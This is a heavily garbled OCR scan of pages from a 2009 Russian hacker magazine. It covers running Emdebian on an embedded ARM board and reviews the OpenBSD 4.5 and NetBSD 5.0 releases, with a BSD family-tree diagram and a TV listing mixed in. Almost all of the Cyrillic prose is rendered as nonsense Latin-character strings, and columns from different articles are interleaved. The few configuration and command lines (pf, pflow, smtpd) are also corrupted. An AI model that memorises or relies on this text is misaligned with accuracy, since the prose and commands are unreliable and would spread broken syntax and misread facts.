-d archl arml boot I zImage uImage
TV1na ,O,OKyMeHTau,Itll-1l-1 flOKalltol3alJ,\I!l<1. Ctle6lt1aH Ha .osyx MOl-1X
I'lApa l-1 U-Boot CHano )f(eHHblMIo1 naT4aMV1, 06~
MaWl<1HaX, Emdebian 6blJl Afls:! MeHl'I Jlorltl4HbiM BbI60pOM. B Ha
pa3bl 4lav.noBblx Cl-1CTeM
napaMeTp , -a ' C006ll.13eT 8 cnepaT~SI-lOI.1 naM~T~, Ky..o.a 3arpy
CTOl'lll.l14V. MOt.1eHT B paMKax npoena npe,D,CT38fleHOJJ,8a peJlltl3a
Open Embedded/
)K3Tb I<,O,PO, a '-e' - oTKyAa era aapTOBaTb. ECTeCTseHHO, :nOT
- Grip toI Crush. 06a 6i1lHapHO COBMeCTV1Mbl COebian GNU/Linux
Angstrom ltl BUlldRoot,
ap,pec He ,Il,Oll)l(eH nepeceKaTbC9. CTeM, Ky..o.a U-Boat V13Ha\.jaflb~
5.0 «Lenny». s:I CTa8to1J) Grip, KaK 60llee nOflHoBeCHblv. Ha 6a3e
a TaK>Ke HeMHora .QOKY
HO KOnlt1pOBail c6pa3 (Ox2200_00001.
coreutils ill glibc. nO.o.po6Hee a pa3Jll-1'-1\o151X 4l-1Taiii Ha Cal.1Te
MeHTaLJ,iIlV1 no;;<efle3Y.
~~A~nOBA~C~CTEMA
YcraHaSfll<1BaeTCI1 Emdebian CnOMOll.lblO CTal-lAapTHOra n3KeTa
debootstrap iIlJlV1 Ha60pa CKp'1nTOS emdebian-toots. 06a sapltl
Tenepb. KO'A3 YHac eCTb nOflHou,eH . ,oe pa60l.lee I'lAPO Linux.
aHTa npl-1MepHO 0Alt1HaK08bl no 4lyHKlJ,l-10Hany. SbI6l-1pai1 flKJ6oi1.
cyt-teew€e nOAuenV1Tb neplt1¢epilllO It: FLash-KapTY. HenJlOXO 6bl
Aaflee CTaBV1M BCe,l.lTO Hav..QeTCI1 no KOMaHAe "apt-cache
XAKEP 05/125/ 09
~ 081
»
unix.:dd
•
All9/)
(l>
~
OrnA)IH1BAEM AEBAiilc 4EPE3 DBGU
search emdebian».- B X03Sl~CTBe nplllroAHTCSl. Clle.nYlOutH~
war
C03AaeM q,a~J1 packages.conf
c rClKl'lMCOAepXIo'lMblM:
8bl6pcCb 1i13 Hero nO,llAep)KKY HID·YCTpoHC,8
emsecondstage, KOTOpbll1 HaJlOBCeMI4 npaB,I13MIiI
o.;eHO KAeeai1cy.
101
seero nr;:O'-l€ro. 4TO HHKorAa He 6y,ner nO,llKllIO
H HenpasAa"" .... JanyCTIo1Tby*e H3 caMOMAeBaI1Ce_
nOTO,", MO)Kewbnol"po60eaTb l135aslitTbCSl
KaK :no CAeJlaTb - ,!leIlO lBce. MOJIKeWb CKIiIHytb
aT MOHCTooo5pa3Horo U-Boat. OnepaLV1
sllenny
o6paJ HCI usb-4JnewKy III BOTKI"'YTbee B,Aee3i1c,
HIRROR=http://ww~.emdebian_oru/yrip/
1111160 npHMoHrnpoBClTbo6pa3 no CeTlIl.
OHKa-3arpy3411K - 3TO. KOHe""lHO, XopOWO. HO 114-KWl06cHTHblH AT91 Bootstrap nOClle
SCRIPT=/usrlsharc/debootstrap/script
I
OTueJlesoi1. Bmo60"" cny~ae. BKopHe no IlY'H18werocSl o5pa33 6y,q€r llexaTbcKp .... m
PROXY=http://~I.emdebian.or9/grip/ ~UITE-stable
nOcJle chroara HClKClTIII naKeTbl,)lCIiIBYUJ..He e/var/cach e/apt/archrves. Hal.llilHaSl C libc6 H sysvinit.1iI Tbi nOJlY'"'IiIWb HaCToSlUlHH Debian.
1I13anycKaer.4 emsandbox;
a KY,QA,QAJlbWE? emsandbox -" ann -v. I -m.1 --machine-path Ha 6b1XOAe - 3anaKoeaHHblH apX\o1BC q,aAnOBOI1
Tyr Bee 3aeHClilT OT H3nW·llilSl YTe6S13HTy3lila3
HeKoTopoH ...onHllKH 81011He MO)l(eT nOArOToe ....Tb KOHTpOllJlep 1( 3arpy3<e Sl.Qpa. Aanee - n:)J:~aplil csoe ....y o.QHonnaTHI'lKY DHeWHv,11 USB-l3lilH"'leC Tep III Hay411l ero Ka4aTb TOppel-lTbllil pa3AasaTb $ai1m>l no Cem. Bblpy61-le 400-eaTTHbll1 ¢laHn cepBep. MO)l(HO Hennoxo C3KOHOMlilTbHa 3neKT
Ma, CB060AHOro Bpet-1eHlillil AeeywKlil. AenaL71
p03Heprllllil. nOTOM eOTKHlil ee6-K3Mepy. nOCTaBb
e e~e 0AHlilM nOSlBIo1BWl.-1MCR a TaoeM AOMC
llena111 http-cepsepillcneAlil3aTepplo1Topli1ei1 4epe3 CTpaH1Il41CY. sblseAeHHYIO CKe03b epalipeoll
cHCTeMOl1. TonbKO OHCl nOKa "'ITO H€pa6ol.laR.
KOMnblOTepOM Bce. "ITO nO)l(enaeWb. Io1cnOllb
Cyrb BTOM, ""ITO CKplilnT He CMor AOBbinOllHH,b
3yli MO~bYCTaH06neHHoro lola Hero nlilHyKca
a lilllTepH€T. Kopo""le. HenaXClHoe nOlle AflSl3KCne
HaCTpo~1CY AI1CTPH6yrlilSil. TaK KaK apxHTeKl)'pa.
no MaKclilMyMyl AnSI H343na, onn.1MI<1JHpyA s;lApO
pIl1Mel·-lT06, n\llWb 6b! CKOpOCTIil xearano, Aa ape
Ha KOTOpOiA OH BblnOJlHSlJlCR Ix861. O'TJlIo14aeTC>I
101 CDC no paJl-tepy II 3q:,q:,eKTlilSHOCTIo1, HanpHMep.
MeHlil. :JC
~
082
XAKE" 05/1251 09
CMOTPHBMae
Ha
eKaHane
game/and. tv
!
I
~ I,
TeXHO B nflaHe
HOBocreu $13 MJ1pa BbICOKJ1X reXHoflorMH
3pMTefleM >K,QeT HeCKOflbKO ClOpnpM308. Bbl YBJ1,aJ1Te cepJ1JO aHOHCOB OT Apple, paCCKa3 0 H08J1HK8X, npe,llCraBneHHblx H8 OAHOM M3 eBpOneMCKJ1X reXHU'leCKMX 8blCT880K, BHuM8renbHb/H 8H811M3 HOBOM Mo6MflbHOM fll1HeC:lIm Nokia 11 C8Mble ropRYMe Mo,aenM HOyr6yKOB
J;j
HeT6YKoB BecHbl3TOro
roAa. nOMHI1, o,aare Hayana BTOp>KeHUfl po6orOB Tbi j'3HaeWb TOflbKO 113 oqH11.411anbHoro opr8H8
Bcex MeX8H/IlyeCKI1X
BeL1(8HMfl
cy~eCTB
113 nporpaMMbI "TeXHOIt.
Kor/ta: EJKe/tHeSHO B 11:00.
q,opMa~HIO 0 noAKfllOyeHI-lH Tpe6yihe
3aWerO perHOHaflbHOrO oneparopa
a> 3p·TEnEKOM
-
-Corblna"
• • • aKaoo mPlIl«lrI1OPfllS
NETBSD5.0
OPENBSD4.5
EBfEHlolliI.J1M. ~D5HI1II
I lOBNINI'ilGHAIL.COHf
flOB~51:E=rPAIi'l1I
~B-S-~9~~ AeTanbHbl~
OPENBSD4.5
0630P OpenBSD 4.5 M NetBSD 5.0
B cerOiJ,H51WHeM UNIX-MVlpe p33BVlTVle Linux VI FreeBSD HanOMVlH3 eT 6ecKoHellHYfO rOHKy 3a MOiJ,oiii. npeBp3Ll\3fOLl\YfO Onep3lJ,VlOHHbie CVlCTeMbl B KJly60K 3anYT3HHoro KOiJ,a. 3 C006Ll\eCTB3 -
B p3CCaiJ,
HVIK TpoJlJleiii VI HaiJ,MeHHbIX rypy. H3 3TOM cj:JOHe CT051Ll\Vle B CTOpOH Ke Open/NetBSD MoryT CTaTb HaCT051Ll\eiii OTiJ,YWVlHOiii VI npVlMepaMVI TOrO, K3K MYiJ,pble JlfOiJ,VI C03iJ,3fOT KpaCVlBble, JlVlWeHHble nOnCOBOCTVI Onep3lJ,VlOHKVI . •
OPENBSD. JlIiIWb ABE YAAnEHHblE YSl3BIiIMOCTIiI3A BCE BPEMfi CYlllECTBOBAHIiISl
TaKlile BeLl.\lil, KaK He3aMeHlilMbll':i I'1HCTpyMeHT
\'1 FreeBSD
Open sso - npoeKT Thea de Raadt lt1 rpynnbl e,qlo1
Jl106oro aAMlilHlilCTpaTopa -
J1y'1wee npl-1MeHeHlile OpenBSD -
13
HOMbIWJ1eHHl1KOB, OTn04KOeaSWllliks:l aT
B
1995 r0J:W III
NetBSD
HallaTblM c u.eflblO COJ,D.aTb
nOJ1HOCTblO cBo6o,QHylO onepau,110HHylO CIo1CTeMY
I
c orm~,QKoi1 Ha BblCOKYIO CTa6L1flbHOCTb \I16e30 naOWCTb.
OpenBSD
HenOTOnJ1l1eMOCTbKl,
scerAa CllaSltlJlaCb C80C\:1 (;1,
eCJ1I1 Om1Cl>ISaTb Cl.1CTeMY
0AHlt1M npeWW)f(eHt1eM, TO
nonyen'llC"
'-lTO~TO
spo
Cl-1CT€MbI, pacnpOCTpaH"eTC" C MHor04I1Cll€ H
1-16e3JllilWHlilX enOB 6paJllilCb 3a Hanl1CaHlil€
HblMI1 Aopa60TKaMI'1 \'1 3anllaTKaMltl, YllY4W<3IO
OTKpblTblX aH811oroa .QpaI1B€pOS, orpOMHO€
Ll.\lilMI-l CTOL:1KOCTb,
B paMKax npoeKTa HanVlcaHbl OpenSSH ltl € . Ilsa llVl
KOJH14eCTBO Koropblx nepeKO'i€ S 3nO 9 NelBSD
C€ T eBbI€
He CoMblL:1 npoABlilHyrblL:1l-1 YAo6HbI ~ B HoCTpoL:1K€
MapWpyTlil3aTopbllil MoeTbl, rAe OC S nOIlHOYl
6p3HAMay3p pI. KOTOpblYl cerO,QH'l MO)l(HO HaL:1TVl
Kpace nOKa;lKel CBClil 603MO>KHOcn1.
B JlIo60l':i OC C€Me~CTBa BSD
a
50pb6a 3a Ka"'leCTI30 liI11erallbHOCTb KO,Qa € w ,e OAHa OTfllil4lilTellbHal< "'lepTa pa3pa6oT'-lLo1KOB OpenBSD. 5YAy'-llil no6opHlilKaMlilll14L1,eH3Lo1lil
BSD
lil T011K060 Han14caHHoro, llaKoHlil4HOro KOAa.
B HAYAJlE HOSl5PSl 2008 rOAA YBIiIAEJlA CBET
OpenBSD 4.4.
B COCTas ee ElOWf1V1 OpenSSH 5.1,
npl-1ro.QHbll1:< I-1cn0l1b30saHlIlKl OpenCVS, yTlillllt1Tbl
Ae: «ClIlCTeMa AJl5l napaHOlllAa.nbHblX a,qMVlHOB».
Y4aCTHl.1Kl.1 npO€ K Ta roTOSbI ,Qopa60TaTb l.1 ne
sysmerge 1-1 tcpbench, a TaKA<e HeCKOllbKO HOSblX
V1 :no npasAa - KOAOpenBSD npocTO 1(l.1WI1T
penlilcaTb111060Yl KOMnOH€HT(L.1CTeMbI, C03,QaH
Apai1eepoe lil yny'-lweHlili1s no,o,ClIlCTCMax RApa
MHOr041>1ClleHHbIMl-1 npoaepKaMLiI Ha san I1,ll,HOCTb
HblL:1 CTOPOHH\'1MlJ1 pa3pa6oT4lilKaM14. B (OCTaBe
kaMblM r11aSHblM lil3 KOTOpblX CTafla nOMep)I(Ka
AaHHblX, npasa Aocryna ltl nOfll-lOMO'1Lo1>\, ,O,l1>\3a
OpenBSO y%e pacnpocrpaHI<€ T CI< C05CTS€HHa51
WPA/WPA2 AJlR 6ecnpo8o,QHblX YCTpoCicTS!
TPYAHC'HlilSl B03MO>KHblX aTaK paHAoMlil3lo1pyeTcI<
pealllll3aqV11< CWTeMbl KOHTponSl eepClill1 CVS,
lil cTaHAapTHblx YTl.1JllilTax. l.1TO A<e Hac >KAel B HO
a6COJllOTHO Bce. Ha'1lilHaSl OT
10 npoueccoB VI HO
Mepoe nopTOa 1013aKaH'''H1BaSl CTpaHlilLl,aMltl BVIPTY allbHo~ naMSlTlil. nlO6o~ KOA n€ p € A
BKJlIO'-I€H\>1€M
S 0<plilLl,lilallbHYIO BeTKYAOCI(Ol-laflbl-lO npOBepSl€ T C51lil aHalllil3lilpyeTC51 Ha npe,l:v.teT oWlil60K.1I1 Aa>Ke CTopoHHee
~
084
no, 8KlllO"'l€HHOe
B 6a30SYIO nOCTasKY
ceps€ p 1'1 Klllll€ H T An" npoTOKofloa NTP, SNMP, OSPF, BGP, a 8
4.5 Sol1.Il€TeLl.\e
lilA€ M OH SMTP,
80M pefll.13e? nepBoe. '-Ira 06palllaer Ha ce651 8,1\1 MaHlile - smtpd, 6e30naCHblCi, J1erKI-1~, y,o,06HbiCi
06cyA<p,aeTC" 803MO)l(HOCTb C03AaH14R npoCToro
8 HaCTpOHKe SMTP-AeMoH, KOTOPbIV, HaL\€ n eH
1-16blCTporo KOMnl-1mnOpa ~3blKa C\'114 3aM€ H bl
He ClOJ1bKO 3aMeHlilTb BceMoryLl.\lilL:1 sendmait,
GNU binutils. Pa3pa6oT'ililKVl Bcer~a paTosa
CKOllbKO 06eCne4\11Tb npoCToTy pa3aepTbl8<lHlilR
11l-13a OTKpbITl.1e cneLJ,lilq>I-1KaLJ,1-111 Ha «>Kene30»
lil YA06cTBO l.1cnOfl!;:30Ba~14R. B KOH<plilrypau,1-10H
XAKEP
(15/1251 Cl9
.•.•••••--- '.nsil Hr.,: - - - - - -
,,,
,
.snBIl 0,0
JOGISD 0,1 ••••••• _...... I
\
I
I I
18tllD 1.0
I I
I
"
, ,,
,
,
~,rlllt
I
a:w:l5t 0 ••. U3]
"""Ila~ 1l.~.IHl
I
J
I I '.n:J>~ .. d I I • II.... SI> O.S I I j I r n . . lSo 1.0 ... ---' 'htlSO 0.' I I .----- t.n~ UtI I I I , r. .. ISO 1.1
I
I
I
r«.no 1.1.).1
I I
I
I , ...UI> :.0
,
I I I
~.ll
"
I
<-'
~«.BSO :.l.~
I
I h . . BSO :.1.'.1
"
I ......0 :.1.7
\
I
,~ •••••• -_ ••••
: .• ~IDI
'.. 01.0 1.' Op.nlU
I I I I
1.: \
,,
,
\
,
1
ISIl/OS :.0
,
,
,
,, ,
, ,
,, , ,, ,, ,
nOlO/! :.0.1 ~lu:
I I
:.3
I
I 1.0
UIl/OO :.1
,,, ,
Itll/<n 1.0
"PonUo :.0 \
I
,
\
~SD/Oll
Non,SO •. 1 ••••••.
I I
I
,
,
,
U.U:SO
j
,
,
\
I
.-····r ..•.. ·U\.p.ody
,
\
I
,
I ! I I
U"/JU 1.1
I I
.-._••
r,o<su :.1.5
I
t I
<--'
I I I I h«UD :.1
~
WHUO
nllOU I.V
I
I
I
I
~,s~~~~r .. <uo:_o.~ _ :
~oi:"'Ii;:;;;;~'
I
(I
.···r···..····, I ,
u.,1U.
,
,,, , ,,,
I t.ns:> Cp/M I '.UC
POACTBEHHblE CBSl3J.1 nPEACTABJ.1TEJlEIiI
CEMEIiICTBA BSD
HOM 4>a~J1e V1cnonb3yeT(51 pf-no,ll.o6HbICi CL1HTaKCIK:
A06ABJlSlEM B KOH<I>J.1r PF.CONF
nPABJ.1nO CMETKOIiI PFLOW
KaHaIlOB. a scan BbIBO,D,lo1T Cfllt1COK Aoc"raeMblX TOYeKAocryna
vb l')J,paYAaJ1eH KO,fl pea1H13aLl,\J1l-1/dev/drum \J1/dev/prandom. np~Mep KOH41Hrypal.l.HOHHOro
Ao6aBI1eHa nOAAep>KKa ceMeYiCTB2 npoLl,eccopOB ARMge
¢>aMIla smtpd
,ll,1151 nl1aT¢OpMbl ARM. ORM-MOP,YIlIt1 inteldrm 101 radeondrm.
listen on locaihost pOrt 25
He06xOA\J1Mble An" nOAAep)l(KIil annapaTHoro yCKOpeHliI>l Ha co
hostname localhost accept for donain "loca)host" deliver to mbox "/Yar/mail/%u~
oTBeTcTsylOl.J..llo1X Slt1AeOKapTax, Tenepb no yMOI1'laHlo1lO BKllIO'le Hbi 8 5lIJ.PO. rCllepaTOp cllyyaL1HblX 411eell OTHblHe S03Spal1.\aeT
l>
co6CTBeHHoe 3HayeHlo1e ,flJlSl Ka>KAOrO npol.leccopa_ Cnlo1cOK
• HOBbie sepcl1lo1
for all relay
nOMep>t<VlBaeMbiX nnar¢opM nOnOJlHlt1JlCSl eW,e ,flSYM51 n03lil
OpenBSD BblxO.Qsn
Ll,11\1Ml1: gumstix lo1 OpenMoko. XOHI peaJllo1JaL\lo1R nOC!1eAHei1
Ka::l<,[Ible nonrOAo
HaCTOf1bKO npI-1MI1Tl-1SHa, 4TO MO)l(eT l-1cnOJlb30SaTbGI TonbKO
1 Ma5111 1 HOl'l6p>l.
accept from
$~ocal
CepBepy~e BKJlI04eH
B,flepeBO I'ICXO)J,HblX KOAOB ~ yMeeT Bce.
info
4TO MO>Ker norpe60Barbc~ B95% cIlY4aes.
An\1 Tecn-1pOBaHl.1I'. A06aBneHo HOBoe nCeS,floyCTpoi1cTBo pllow
B COCTae BepClo1lo14.5 Bowen OpenSSH 5,2. KOTOPblL:i MO>YeT
[4), KOTopoe 3KcnopTlo1pyer ,flaHHble IP-aKKaYHTl-1Hra 'lepe3 UOP
• B OpenBSD He
nOXBaCTaTb T(jKlo1Mlo1
B COBMeCTlo1MOM
nonb3YIOTC:1
•
HOBOBBe,fleHIo1~MV1
Knlo1eHTcKa~ Ont.{lo1~
'-y r )J,n~ OTnpaBK~ J10rOB Bsyslog 8M€C
TO slderr. '..no MO>K.eT nOTpe6013aTbCI' np~ 3anycKe
8
CNetFlow 5 <POp MaTe. YTo6b1 HaeTp0ItlTb I1HTep
¢eik pHow. Hy)l(HO BblnOJlHIo1Tb c.neAylOl1.\lo1e KOMaH,flbl:
VlC
,lJ,pa~Bepa
co CKOMnl.1nl1pOBaH HbIMl.1 06beKTHblMVI
pe>t<ItlMe
AeMOHa.
1I ifconfig pflm."O create
MO,D,yMMI1 C Hepac
• Alo1peKTI1Ba KOH¢VlrypalJ,ltloHHoro ¢aL:ina ForceCommand Tenepb npl1HItlMaeT apryMeHTbl Am BHYTpeHHero sftp-cepsepa.
ifconEig pflo~"'O flo\'Jsrc 192 .168 .1. 2 flowdsL ]97..168.1,,1:1234
KpblsaeMblM I1CXOA
1I-
HblM KOAOM,
• sshd CTan nOHIo1M3TbonlJ,1tl101 Pel"mitEmptyPasswords Itl AllowAgentForwarding, nponlo1caHHble B 61l0KaX Match.
,D,.nSl nplo1Mepa npOl-l3SeA8M Y4€T ICMP-3anpocoB, np\J1xo,ll.~l1.\~X
• YAo6HblYi eepol1c
• Y)J,aneHHoe nepeHanpaS!1eHlo1e noplOS C npocnyW14BaeMblM
Ha BHeWHl-1Yi ceTeBoiil L1HTep¢ei71c:
no pa60re e ,flepeBOM nopTOS OpenBSD:
nopToM 0 [s 3TOM cnyyae ceps€p ,ll.OIl)l(€H AItlH3MItl4eCKItl Bbl,fle nlo1Tb nopT 101 C006l1.\V1Tb ero K!1l1eHTyl.
host1 # vi/etc/pI. conf
• nOMep)l(Ka npOTOKOna SOCKS4A)J,fl~ Alo1HaMI-I4eCKoro nepe
pass in on $ext_if inet proto icmp to ($ext_ifl
HanpaSn€HV11' naplos, KQTOpoe. KCTan1. TenepbMO)l(HO HacTpo"
keep state (pflow) hostH pfetl -{fete/pf. conf
~Tb
101 yepe3 KOMaHAHyJO CTP0K)' Kfll-1eHTa. AocrynHYIO no-C
KpOM€ HOSblX B03MO)l(HOcei1. BOpenSSH 5.2YCTpaHeHbI ABe
host2# ping hostl
TeOpeTW.,eCKi'1€ Y513Sl-1MOCTl-1 IJ1l-1cnpaSJ1eH AeC51TOK 6aros.
host1 # pfetl -YSS I grep -B1 pflO'.'" I head all icmp 77.41. xx. YY: 1 <- 212.34. XX. YY:
KOA CWK<I blue tooth Cl-1HXpOHlo13lo1poBaH CNetBSD 101 no yMOIl yaHlo1Kl8KIlKlyeH SKOA >lApa AfI~ nnanpopM alpha, amd64,
453330,0
armish. rppa. 1386.landisk. macppc. sparc64 lo1 Z<3urus. Aa
age 00:00:02, expires in 00:00:09,2:0 pkts,
6asfleHbl,fleMOH btd [81. yTl-1J1\J1Ta btctl {81l-1 KOHq>l-1rypaUI10HHbli:i
168: 0 bytes, rule 14, pflm'j
t:LtJ.g.BJ'P'_~nQQn; S&.
• Ha npl-1.naraeMOM
4Jai111 bt.conf (51 AJ1~ ynpasneHlo1$1 bluelooth-ycrpoL1crB<3M>1 B :<O,fl 6€enj:::)sO,flHOrO CTeKa A06aBJleHa HayanbHa51 peaJ1\J1
nce8AOYCTpo~eT80pfsync (41 nepese,o,eHo Ha lo1cnOJlb30
3aulo1~
BaHL1e npOTOKOJla nl'ro~ sepcltlltl, Koropbli1 He COBMeCTItlM
Ha~AeWb
nOAQep)l(Ka npoToKona BIP [Broadcast/Multicast Integrity
c npeAbl)J,YWl-1Ml.1. B gee l.1 gdb,flo6aBlleHa nOAD,ep)l(Ka PIE
101 NeIBSD5,O.
Protocol! AIl~ 802. 1lw. BKJlIO'-IeH Ko,o,Ae4>parMeHTaLl,~l-1 J]n~ nplo1eMa MSDU iii MMPDU <p1=larMeHToB. ApaL1Bepa ipw [4)
pa3MeweHl-1e KO.Qa •.QaHHblX. CTeKa lo16110Ka 6l-1611110TeK BHyTpl-1
802.11 x PMKSA K3Wl.1pOSaHl-1R \J1 npeayreHT\J1¢~Kaq>1Vl,
l-1 iwi 141 Tenepb nOAAep>KIo1BaIOTWPA. OnW\J1R chan, nepep,aH Ha~ ifconlig
XAKEP
os
ISJ, npI>\BOAl-1T KneyaTl-1SCeX nOAAep>K~BaeMblx
111;510'
K::l<ypHanYAl1cKeTbl OpenBSO 4.5
(Position Independent ExecutablesJ, KOTopble paHJl.OM10131o1py1OT lo1cnollH>leMOro 4Ja~Jla. YTlo1rllo1Tbl Istat [1 l. pstat IBllo1 HeKoTopble nepeMeHHhle sysctl60JlbWe He nOKa3blBalO'r eMeUJ,eHI-1~ B 4laiil
~
085
~'"::V~--=__
OP£NBSD4.5 NETBSD5.0
"
"I;
npOCMATPI1BAEM Cnl1COK AOCTynHblX CETEBblX I1HTEP<IlEMCOB
Jlax L1
,opyryiO L1H<popMaLl,l-1lO,l\Jl~
nOJlb30aaTeneH,
He BJ1aAelOUJ,L1x 3Tl1Mlt1 q,a~J1aML1 (root no-npe )I(HeM¥ BVIA/.1T Bee). )=Ip,po
MHQXeCTBO eaMblX pa3Ho06pa3HblX, IiIHTepec HblX Inopoi1 - HeO>Kl.1,qaHHblX) HOBweCTB.
OpenBSD 053aSeJ10Cb
BaHHoMy 3aKpblTltlKl ceCCltll1. 3aKpblTbi 6pewl.1
Hal.16011ee 3Ha4L-1TenbHble l.13MeHeHltll'l npol.130W
HMAC-M05, HMAC
6e30nacHoCTIiI B KO,Qe OpenSSL l.1 named fB).
J11i1 a I'lApe oc. Tenepb FFS I1MeeT nOAAep>KKy
B KO,lJ,eACPI yCTpaHeHa naHlJ1Ka Ha HeT6yKax Asus
.>KypHanl1pOB3Hltll'l; ,Qo6asneH K0,Q pe3J1j1l3au,l.11i1
nOA.Qep>t:::KOf1 allrOpvlTt>10B
SHA I, HMAC-SHA256,AES-128-CMAC" AES «Key Wrap», KOTOPbl€ L1cnOJlb3YlOTCl' ,lI,JHl ac
eeePC 1OOOH l1,Qo6aBneH BopKilpaYHAA11Sl c60~
1 J nOTCKOB; nepepa60TaHbi nMIHltlpoBllI,ltlK
CL1MeTpI14HOrO WIo1q,POS3HL151 APyrlo1x KIllo4ei1
HblXACPI BI05·0B.
npou,eCCOB iii CltlCTeMa 6110KIo1POBOK; peanlil3a
~NETBSD.
06HOSI1€H,!J.0 aepCl.1ltl 3.3; l-1HT€rpl-1p093Ha Hoa3t1,
(OlOTPlt1
/usr/src/sys/cryptol.
UltlA malloc 33M€HeHa H3 jemalloc; nopT H3 Xen
8 resolv.confrenepb MO>KHoYKa3blsaTb HOMep
PA60TAET AA>KE HATOCTEPAX
He3aBI1CI1M31'l OT apXl.1TeKTypbl CIo1CTeMa ynpaBne
Bl.1A() l<nameserver 17.16.67.143:5353») 6YAer KoppeKTHo o6pa6oraHa. V18ce 3anpocbl nOI1,Qyr
NetBSD - nepaa51 OC ceMei1cTBa B50, pOAliI8wa
,apav,sepaMIiI PMF: nO>1BltlJ1aCb nOAD,ep>KKa ACPI
nopTa AMl3anl1CeYi nameserver. TO eCTb CTpOKa
Hl.1A nl-UaHlileM /11 06M€Ha C006Ll\eHIiII'lMI1 M€..'>K,l:\y
Ha nopT 5353 8Meno CTaHAapTHoro 53-ro.
11(51 B
MHO)l(eCTBO l-13MeHeHL1i16bIJlO npOVl3seAeHO
4.4B5D-Lite 1i14.4BSO-Lite2. pacnpoCTpaHSleMblx
1993 rOM Ha KO,QOBO>1 6a3e 4.3BSO Net/2,
8 aucal. Tenepb yntlH1Ta nOTpe61151er MeHbwe
KaJ1llIq,opH~i1CKl.olM yH~BepCltlTeTOM
npOL(eCCOpHbIX MOll\HOCTel:1, yMeercIlywaTb
n03yHr NetB50 - "KoHe4Ho, NetBSD MO.>KeT
HeCKOJlbKO COKeTOB C QTAel1bHblM
I
ltl np06neMa HenpaBl.111bHoro 05HOSJ1eHltlfl S Kop,e BGP, KOTopaR Moma npltlf3eCTltl KHe3annaHiIlpo
ypo8HeM
3CaaT€n>111 Cl.1CTeMbl puffs,~nR peal1l.13aL-\l.1.., q,aC1
6epKJllil.
pa60TaTb l.1 Ha :now> IOf course it runs NetBSDI.
rpOMKocnl M>l Ka)l(.QOro nOTOKa l.1 MQ)f(eT pa60TaTb
Cl.1CTeMa nopTl.1pOBaHa Ha
suspendlresume, H08bl~ GJpev,MsopK rump AJ1t13anycKa 4aCTeill Sl,apa S npoCTpaHCTBe nOJ1b~
60 annapaTHblx nnaT
J10BbIX CIiICTeM SHe R,Qpa ..u06aSJ1eHO MH8.>KeCTSO HOBblX ApaHl3epOB
/11
05HOBneHbi cyw,eCTsyfOLl(l1e.
060 sceM nO,lJ,p06Hee. Ko,lJ, )KypH3,lV1pOBaHiII>1
S pe.>Kl.1Me 06paTH0f1 neTJ1l.1. Bee 3,0 npespa
Q>OpM,,lJ,J1Sl Ka"Jt(Ao~ ltl3 KOTOpblxp,ocrynHbl TblCS'!Yltl
MeTa,ll,aHHblx WAPBL (Write Ahead Physical Block
l..l.\aeTnporpaMMy 8 HaCT0>1l..l.\14i:1 aYAlilo-cepsep.
npeKOMn~nltlp08aHHblx
Loggingl nO,ll,apel-< npoeKTY KOMnaHl.1E'H Wasabi
cnoco6Hbli:1 BblCTynaTb B Ka4ecTBe 30MeHbi jack
Cl.1CTeMa C60PKl.1 naKeTOB, V1MeHy€Mal'l pkgsre,
Systems, I1Cn0J1b3YIOw,ei:i ero a)KC 2003-ro ro,ll,3
ltlnlil PutseAudio. A.nl'l npl.1Mepa npl.18eAY KOMaH,D.y
cnoc06Ha pa60TaTb npaKT1iI4eCK>1 Ha 111060>1
IHl.14ero y,QIiIBIiITel1bHcro - HeC/<OJ1bKO BeAYw,l.1X
3anycKil auca!
B
pe>KlilMe cepsepa c ASyM>1 c.nywa
IOllI,l.1Ml.1 COKeTaMl-1, rpOMKocTbO,lJ,Horo ltl3 KOTOPblX yCTaHoBfleHa
B
65Idefault), a BTOporo - BblKPy
4eHa Ha nOl1HYfO (max): $ aucat -1 -v 65- s
naKeTOB. npl.1Y€M caMa
POSIX-coBMecT\oU.40~ C~CTeMe
6e3 KaKV1X-J1ltl60
3aTpYAH€HltlL:1.
pa3pa6oTYl.1K08 NetBSD pa50Tam B 3T0i1 KOM naKltlltll. 3TO peamnau,I-1I'l.l(l1accw·iecKoVl MOACl11i1
liTo tyT CKa)KeWb? LJ,eJIOCTHOCTb DC ~ npopa60·
lKYpHafll.1pOBaHltl>l 8cex onepaul.1Vo 3anltlCIiI 6110KOS
TaHHoCTb,Q~3ai:1HaBcex
nepeA I1X Henocpe,QcTBeHHblM nplilMeHeHlo1eM,
KOMnOHeHTOB Cl.1CTeMbl,
default -v 127-5 max. CTaH,ll,apTHI:JIIAKlll.1
CT3BWl.1e cne.o.CTBl.1eM BblCOKOM nopTa6eJ1bHOC
V13KlM\IIHKa CI-1CTeMbl 8TOM, YTO aHa He Tpe6yer
eHTftp7enepb yMeeT lilrHOpltlpOBaTb ncea.o.OKaTCl
Tltl, - O.o.HO [ol3 e3>KHei1Wl.1x,QoCTOlolHCTB NetBSD.
KaKOrO-I1l.160 npe06pa30eaHI1R <DC l,!J.oCTaToy-
norV1 (Y106bl peKypCltlBHble 3aKa4Kltl He C03,1J,8Ballltl
HO npocTO,!J.o6asltlTb onu,111O log s/ete/fstabl
NETBSD 5.0
6ecKoHe4Hbli:1 U,IiIK.nl. KoppeKTHO,lJ,OKa4Ii1BaTb
II
tPai1/lbl, nOAJl,ep)4(14SaeT npOKCltl, 3al..l.\l.1w,eHHble
Ecn!'1 OpenBSO 4_5 - peJ1ltl3 MltlHOpHbli:1, 60/1b
TeJ1bHOCTb Bblwe. 4eM soft-dependencies Isoft
napOJ1eM, ltl Q>nar ' -11' AJHl nonyyeHltll'l TOllbKO
WI1X l.13Mel~eHltlM
updates, rosoptl He Sl3blKe FreeBSDI
06HOBneHHbiX Q>aj;!1108
NetBSD 5.0 - C06blT>1e rpOMKoe l.13HaYlo1MOe
nORBI111aCb nOMep.>KKa 4TeHIo15'1 C¢aHfloBbix
Bo MHorlilX yrV111l.1TaX ",cnpaBl1eHbl OWl.16Kl.1
CI1CTeM EFS [pa3pa6oTK3 Silicon Graphicslltl HFS+
l.1SbI110BJleHbl yreYKl.1 naMI'lTIiI. PeweHa np0511eMa
C MOMeHTa Bblxo.o.a 4.0 npowJ1o y>Ke 60nee ,QBYX l1eT. 3a 3TO BpeMS'! pa3pa60T41i1Klol nepe
DHO_DHCP_OPTIONS_OVERLOAD 8 dhcpd [81
HOCIiIMOi1 BSD A06aBl.111\tl 8 CBoe TBopeHlile
yrl.1J1Ii1Ta newfs_exl2fs 18)iVlR C03,ll,aHltlSl q,aj;!Jlo-
~
086
S ce6e He Hecyw,tolH, TO
